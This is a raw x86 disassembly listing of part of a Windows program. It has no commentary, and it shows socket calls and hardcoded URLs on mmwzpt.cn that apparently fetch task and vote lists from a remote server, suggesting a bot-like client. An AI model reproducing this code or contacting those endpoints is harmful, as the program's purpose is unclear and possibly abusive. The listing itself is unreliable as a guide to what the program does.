fcomp qword [0x4e6681]
fnstsw ax
test ah, 0x41
jne 0x403d35
push 0
mov ebx, 0x42ddd0
call fcn.0042a80a
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4e69a9
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x42dfb0
call fcn.0042a80a
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x4e69a9
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x42dfb0
call fcn.0042a80a
add esp, 0x1c
call fcn.004124be
mov eax, dword [0x520e14]
cmp dword [0x520e18], eax
jl 0x403dee
push 0xffffffffffffffff
push 0x12
push 0x160198d8
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jne 0x403d9d
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov eax, 5
mov ebx, 0x4840a0
call fcn.0042a834
add esp, 0x1c
jmp 0x403dee
mov dword [0x520e24], 0
mov dword [ebp - 0x74], esp
push 0x1388
push 0
push 0x40
push 0x4e6689
push 0x4e69cc
push 0
mov eax, 0
call fcn.0042a822
cmp dword [ebp - 0x74], esp
je 0x403de4
push 6
call fcn.0042a81c
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
cmp dword [0x520e10], 0
je 0x404b61
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zx.asp_Actionzxtasknamenjafgov_lkq
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x403ece
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x403ee1
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x403ef4
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x403f07
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x403f1a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403f2d
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403f3d
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x403f4d
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x403f63
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x403f8f
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x403fa6
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e696d
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e68fd
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403ff9
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x404009
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x40401f
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b690
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x404051
push ebx
call fcn.0042a816
add esp, 4
fld qword [ebp - 0x8c]
call fcn.00401004
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6712
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e696d
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4040ae
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4040be
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4040d5
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x520e10]
fstp qword [ebp - 0x80]
fsub qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401004
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jle 0x404580
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4e671b
push dword [ebp - 0x74]
push 0x4e671b
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404152
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x404177
mov eax, 0x4e651c
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x40418b
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4041b1
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
jne 0x404200
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x4e6a4b
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
push 0
call fcn.0042a82e
add esp, 4
jmp 0x40457b
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x4e671d]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x404241
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42bdd0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40427f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40427b
imul eax, dword [ebx]
jmp 0x404270
mov ecx, eax
test ecx, ecx
je 0x40429e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x404297
push ebx
push eax
call fcn.0042a816
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x404285
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 1
mov eax, 0x4e651c
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4042c7
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x4e671d]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.00401004
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40436e
mov ebx, dword [ebp - 0x44]
call fcn.0040159f
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x404319
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40432c
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x4e671b
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push dword [ebp - 0x4c]
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x404365
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
pop eax
pop ebx
pop ecx
jmp 0x4042ee
add esp, 0xc
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4e671b
push dword [ebp - 0x74]
push 0x4e671b
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4043b7
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4043dc
mov eax, 0x4e651c
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x4043f0
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404416
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x404460
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x4e6a8b
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
push 0
call fcn.0042a82e
add esp, 4
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x404498
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b190
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4044be
push ebx
call fcn.0042a816
add esp, 4
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4044dd
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b150
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404503
jmp 0x404b61
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_paylist.asp_votenjafgov_lkq
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x404653
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x404666
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x404679
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x40468c
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x40469f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4046b2
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4046c2
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4046d2
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4046e8
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x404714
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40472b
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x404742
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x4e6b56
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, 0x4e6b59
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00407a19
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4047ad
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4047c0
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4047d0
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4047e7
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x50], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x4047fe
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b690
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fild dword [0x520e10]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x80]
fsub qword [ebp - 0x88]
fcomp qword [0x4e6725]
fnstsw ax
test ah, 1
jne 0x404b61
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x404875
push 0x4e6ba5
push dword [ebp - 0x2c]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x404bdb
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov dword [0x520dec], 1
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.0042a828
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d4
push 0x52010001
call fcn.0042a828
add esp, 0x18
push 0x4e6ba8
push dword [ebp - 0x2c]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x404c55
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov dword [0x520dec], 0
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.0042a828
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d5
push 0x52010001
call fcn.0042a828
add esp, 0x18
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6bad
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404c86
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x404e49
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6bb5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404cd7
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4e671d]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6bb7
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404d33
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6bb5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404d7d
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4e671d]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401004
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404dff
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42b1e0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x16010a35
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x404e49
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6bb9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x404e7a
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40539f
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6702
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6bb9
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x404ee9
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x404ef9
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x404f10
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
push dword [ebp - 0x54]
call fcn.004014e1
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404f5a
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x405002
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4e6bc5
push dword [ebp - 0x74]
push 0x4e6be2
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404faa
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x404fd5
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x404ff8
push ebx
call fcn.0042a816
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x405033
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40539f
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x405078
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42bdd0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4050b0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4050ac
imul eax, dword [ebx]
jmp 0x4050a1
mov ecx, eax
test ecx, ecx
je 0x4050cf
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4050c8
push ebx
push eax
call fcn.0042a816
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4050b6
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 1
mov ebx, dword [ebp - 0x58]
call fcn.00401586
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40539c
mov ebx, dword [ebp - 0x58]
call fcn.0040159f
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x40511e
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405131
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x74]
push dword [ebx]
call fcn.004014e1
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x405181
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x405229
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4e6bc5
push dword [ebp - 0x74]
push 0x4e6be2
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4051d1
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4051fc
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40521f
push ebx
call fcn.0042a816
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
mov ebx, dword [ebp - 0x58]
call fcn.0040159f
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x405246
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405259
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x78], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x4052a1
mov eax, 0x4e651c
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4052b5
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4052db
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x405394
mov ebx, dword [ebp - 0x58]
call fcn.0040159f
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x405302
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405315
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x4e6bfa
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push 0x4e6c2c
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x78], eax
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x405367
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x40538a
push ebx
call fcn.0042a816
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x4050f3
add esp, 0xc
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4053d0
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405747
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c49
push reloc.WS2_32.dll_connect
push 0
